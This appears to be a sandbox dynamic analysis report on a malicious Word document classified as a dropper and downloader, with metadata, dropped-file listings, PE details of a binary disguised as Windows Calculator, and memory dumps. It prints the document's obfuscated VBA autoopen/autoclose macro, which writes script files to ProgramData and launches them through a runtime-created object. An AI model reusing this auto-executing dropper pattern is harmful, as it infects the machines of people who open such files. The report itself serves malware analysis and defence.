VTI SCORE: 100/100
Dynamic Analysis Report |
Classification: |
Dropper
Downloader
|
Threat Names: |
Trojan.GenericKDZ.69442
Trojan.GenericKDZ.69475
Trojan.Agent.EVAV
...
|
payload_1.doc
Word Document
Created at 2020-08-17T10:01:00
Remarks (1/1)
(0x0200000E): The overall sleep time of all monitored processes was truncated from "30 seconds" to "10 seconds" to reveal dormant functionality.
This is a filtered view
This list contains only the embedded files, downloaded files, and dropped files
Filters: |
There are no files for this filter
There are no files in this analysis
Filename | Category | Type | Severity | Actions |
---|
C:\Users\FD1HVy\Desktop\payload_1.doc | Sample File | Word Document |
Malicious
|
...
|
»
Office Information
»
Creator | Пользователь Windows |
Last Modified By | Пользователь Windows |
Revision | 138 |
Create Time | 2020-08-11 10:03:00+00:00 |
Modify Time | 2020-08-14 13:12:00+00:00 |
Document Information
»
Application | Microsoft Office Word |
App Version | 14.0000 |
Template | Normal.dotm |
Company | SPecialiST RePack |
Document Security | NONE |
Editing Time | 4286.0 |
Page Count | 1 |
Line Count | 6 |
Paragraph Count | 1 |
Word Count | 130 |
Character Count | 742 |
Chars With Spaces | 871 |
Base Target | ['C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs'] |
ScaleCrop |
![]() |
SharedDoc |
![]() |
VBA Macros (1)
»
Macro #1: Brofaset
»
Attribute VB_Name = "Brofaset"
Private HYyetwertuFGHFTrt5ertRFGXFD
Sub autoopen()
Open "C:\ProgramData\UIYUIYUIYuiyuiYUIYYuyty" & JDSUAGDFYYUGED.Tag For Binary As #1
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Put #1, , " Page not found This question was voluntarily removed by its author. "
Close #1
Application.Quit SaveChanges:=False
End Sub
Sub autoclose()
Open "C:\ProgramData\JHJKGHuggUGUGYYuyggg" & JDSUAGDFYYUGED.Tag For Binary As #1
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , " 'If you feel something is 'missing that should be here, contact us. "
Put #1, , JDSUAGDFYYUGED.GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY.Caption
Close #1
Set HYyetwertuFGHFTrt5ertRFGXFD = CreateObject(JDSUAGDFYYUGED.Caption)
HYyetwertuFGHFTrt5ertRFGXFD.Exec "explorer.exe " & Hopertiol.DefaultTargetFrame
End Sub
Local AV Matches (1)
»
Threat Name | Severity |
---|---|
Trojan.GenericKDZ.69442 |
Malicious
|
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Qieeyrekuc\xafpqko.exe | Downloaded File | Binary |
Malicious
|
...
|
»
Local AV Matches (1)
»
Threat Name | Severity |
---|---|
Trojan.GenericKDZ.69475 |
Malicious
|
C:\ProgramData\JHJKGHuggUGUGYYuyggg.vbs | Dropped File | Text |
Blacklisted
|
...
|
»
File Reputation Information
»
Severity |
Blacklisted
|
Names | Mal/Generic-S |
vbaProject.bin | Embedded File | OLE Compound |
Blacklisted
|
...
|
»
File Reputation Information
»
Severity |
Blacklisted
|
Names | Mal/Generic-S |
c:\users\fd1hvy\appdata\local\temp\~df4ab52671a349b2ff.tmp | Dropped File | Stream |
Whitelisted
|
...
|
»
c:\users\fd1hvy\appdata\local\temp\~dff1121ef9e20057e3.tmp | Dropped File | OLE Compound |
Whitelisted
|
...
|
»
File Reputation Information
»
Severity |
Whitelisted
|
C:\Users\FD1HVy\AppData\Local\Temp\__PSScriptPolicyTest_gbvqg2du.z4l.ps1 | Dropped File | Text |
Whitelisted
|
...
|
»
File Reputation Information
»
Severity |
Whitelisted
|
File Reputation Information
»
Severity |
Whitelisted
|
PE Information
»
Image Base | 0x400000 |
Entry Point | 0x401b80 |
Size Of Code | 0x1000 |
Size Of Initialized Data | 0x5400 |
File Type | FileType.executable |
Subsystem | Subsystem.windows_gui |
Machine Type | MachineType.i386 |
Compile Timestamp | 2066-10-03 12:52:05+00:00 |
Version Information (8)
»
CompanyName | Microsoft Corporation |
FileDescription | Windows Calculator |
FileVersion | 10.0.15063.0 (WinBuild.160101.0800) |
InternalName | CALC |
LegalCopyright | © Microsoft Corporation. All rights reserved. |
OriginalFilename | CALC.EXE |
ProductName | Microsoft® Windows® Operating System |
ProductVersion | 10.0.15063.0 |
Sections (5)
»
Name | Virtual Address | Virtual Size | Raw Data Size | Raw Data Offset | Flags | Entropy |
---|---|---|---|---|---|---|
.text | 0x401000 | 0xf6c | 0x1000 | 0x400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 5.73 |
.data | 0x402000 | 0x3a4 | 0x200 | 0x1400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.3 |
.idata | 0x403000 | 0x4a8 | 0x600 | 0x1600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.05 |
.rsrc | 0x404000 | 0x4708 | 0x4800 | 0x1c00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 2.81 |
.reloc | 0x409000 | 0x170 | 0x200 | 0x6400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 5.0 |
Imports (7)
»
SHELL32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
ShellExecuteW | 0x0 | 0x403038 | 0x3174 | 0x1774 | 0x1b8 |
KERNEL32.dll (9)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SetUnhandledExceptionFilter | 0x0 | 0x403010 | 0x314c | 0x174c | 0x55e |
GetCurrentProcess | 0x0 | 0x403014 | 0x3150 | 0x1750 | 0x213 |
TerminateProcess | 0x0 | 0x403018 | 0x3154 | 0x1754 | 0x57c |
UnhandledExceptionFilter | 0x0 | 0x40301c | 0x3158 | 0x1758 | 0x59d |
GetCurrentProcessId | 0x0 | 0x403020 | 0x315c | 0x175c | 0x214 |
GetCurrentThreadId | 0x0 | 0x403024 | 0x3160 | 0x1760 | 0x218 |
GetSystemTimeAsFileTime | 0x0 | 0x403028 | 0x3164 | 0x1764 | 0x2e2 |
GetTickCount | 0x0 | 0x40302c | 0x3168 | 0x1768 | 0x300 |
QueryPerformanceCounter | 0x0 | 0x403030 | 0x316c | 0x176c | 0x440 |
msvcrt.dll (15)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
_amsg_exit | 0x0 | 0x403058 | 0x3194 | 0x1794 | 0x111 |
__p__fmode | 0x0 | 0x40305c | 0x3198 | 0x1798 | 0xce |
__setusermatherr | 0x0 | 0x403060 | 0x319c | 0x179c | 0xe4 |
_initterm | 0x0 | 0x403064 | 0x31a0 | 0x17a0 | 0x1e8 |
_wcmdln | 0x0 | 0x403068 | 0x31a4 | 0x17a4 | 0x405 |
?terminate@@YAXXZ | 0x0 | 0x40306c | 0x31a8 | 0x17a8 | 0x35 |
_controlfp | 0x0 | 0x403070 | 0x31ac | 0x17ac | 0x137 |
_except_handler4_common | 0x0 | 0x403074 | 0x31b0 | 0x17b0 | 0x16a |
_exit | 0x0 | 0x403078 | 0x31b4 | 0x17b4 | 0x173 |
__p__commode | 0x0 | 0x40307c | 0x31b8 | 0x17b8 | 0xc9 |
_XcptFilter | 0x0 | 0x403080 | 0x31bc | 0x17bc | 0x6f |
exit | 0x0 | 0x403084 | 0x31c0 | 0x17c0 | 0x4ae |
__set_app_type | 0x0 | 0x403088 | 0x31c4 | 0x17c4 | 0xe2 |
__wgetmainargs | 0x0 | 0x40308c | 0x31c8 | 0x17c8 | 0xf1 |
_cexit | 0x0 | 0x403090 | 0x31cc | 0x17cc | 0x124 |
ADVAPI32.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
EventRegister | 0x0 | 0x403000 | 0x313c | 0x173c | 0x120 |
EventSetInformation | 0x0 | 0x403004 | 0x3140 | 0x1740 | 0x121 |
EventWriteTransfer | 0x0 | 0x403008 | 0x3144 | 0x1744 | 0x128 |
api-ms-win-core-synch-l1-2-0.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
Sleep | 0x0 | 0x403050 | 0x318c | 0x178c | 0x2d |
api-ms-win-core-processthreads-l1-1-2.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
GetStartupInfoW | 0x0 | 0x403048 | 0x3184 | 0x1784 | 0x20 |
api-ms-win-core-libraryloader-l1-2-0.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
GetModuleHandleA | 0x0 | 0x403040 | 0x317c | 0x177c | 0x11 |
Memory Dumps (15)
»
Name | Process ID | Start VA | End VA | Dump Reason | PE Rebuild | Bitness | Entry Point | AV | YARA | Actions |
---|---|---|---|---|---|---|---|---|---|---|
loterios.exe | 19 | 0x00400000 | 0x004D2FFF | Relevant Image |
![]() |
32-bit | 0x00401A5B |
![]() |
![]() |
...
|
buffer | 19 | 0x020A0000 | 0x0216EFFF | First Execution |
![]() |
32-bit | 0x020AB330 |
![]() |
![]() |
...
|
buffer | 19 | 0x020A0000 | 0x0216EFFF | Content Changed |
![]() |
32-bit | 0x020AD731 |
![]() |
![]() |
...
|
buffer | 19 | 0x020A0000 | 0x0216EFFF | Content Changed |
![]() |
32-bit | 0x020A749C |
![]() |
![]() |
...
|
buffer | 19 | 0x020A0000 | 0x0216EFFF | Content Changed |
![]() |
32-bit | 0x020A1FEB |
![]() |
![]() |
...
|
loterios.exe | 21 | 0x00400000 | 0x004D2FFF | Relevant Image |
![]() |
32-bit | 0x00401A5B |
![]() |
![]() |
...
|
buffer | 21 | 0x02070000 | 0x0213EFFF | First Execution |
![]() |
32-bit | 0x0207B330 |
![]() |
![]() |
...
|
buffer | 21 | 0x02070000 | 0x0213EFFF | Content Changed |
![]() |
32-bit | 0x0207D731 |
![]() |
![]() |
...
|
buffer | 21 | 0x02070000 | 0x0213EFFF | Content Changed |
![]() |
32-bit | 0x0207749C |
![]() |
![]() |
...
|
buffer | 21 | 0x02070000 | 0x0213EFFF | Content Changed |
![]() |
32-bit | 0x02071FEB |
![]() |
![]() |
...
|
loterios.exe | 21 | 0x00400000 | 0x004D2FFF | Process Termination |
![]() |
32-bit | - |
![]() |
![]() |
...
|
xafpqko.exe | 22 | 0x00400000 | 0x004D2FFF | Relevant Image |
![]() |
32-bit | 0x00401A5B |
![]() |
![]() |
...
|
loterios.exe | 19 | 0x00400000 | 0x004D2FFF | Process Termination |
![]() |
32-bit | - |
![]() |
![]() |
...
|
xafpqko.exe | 26 | 0x00400000 | 0x004D2FFF | Relevant Image |
![]() |
32-bit | 0x00401A5B |
![]() |
![]() |
...
|
buffer | 26 | 0x02070000 | 0x0213EFFF | First Execution |
![]() |
32-bit | 0x0207B330 |
![]() |
![]() |
...
|
C:\Users\FD1HVy\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | Modified File | Stream |
Unknown
|
...
|
»
C:\ProgramData\UIYUIYUIYuiyuiYUIYYuyty.vbs | Dropped File | Text |
Unknown
|
...
|
»
C:\BlotRots\djsfgytdftftyYFGfghffghYYTTT.cmd | Dropped File | Batch |
Unknown
|
...
|
»
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Qieeyrekuc\xafpqko.dat | Dropped File | Stream |
Unknown
|
...
|
»
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Qieeyrekuc\xafpqko.dat | Dropped File | Stream |
Unknown
|
...
|
»
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Qieeyrekuc\xafpqko.dat | Dropped File | Stream |
Unknown
|
...
|
»
c:\users\fd1hvy\appdata\roaming\microsoft\forms\winword.box | Dropped File | Unknown |
Not Queried
|
...
|
»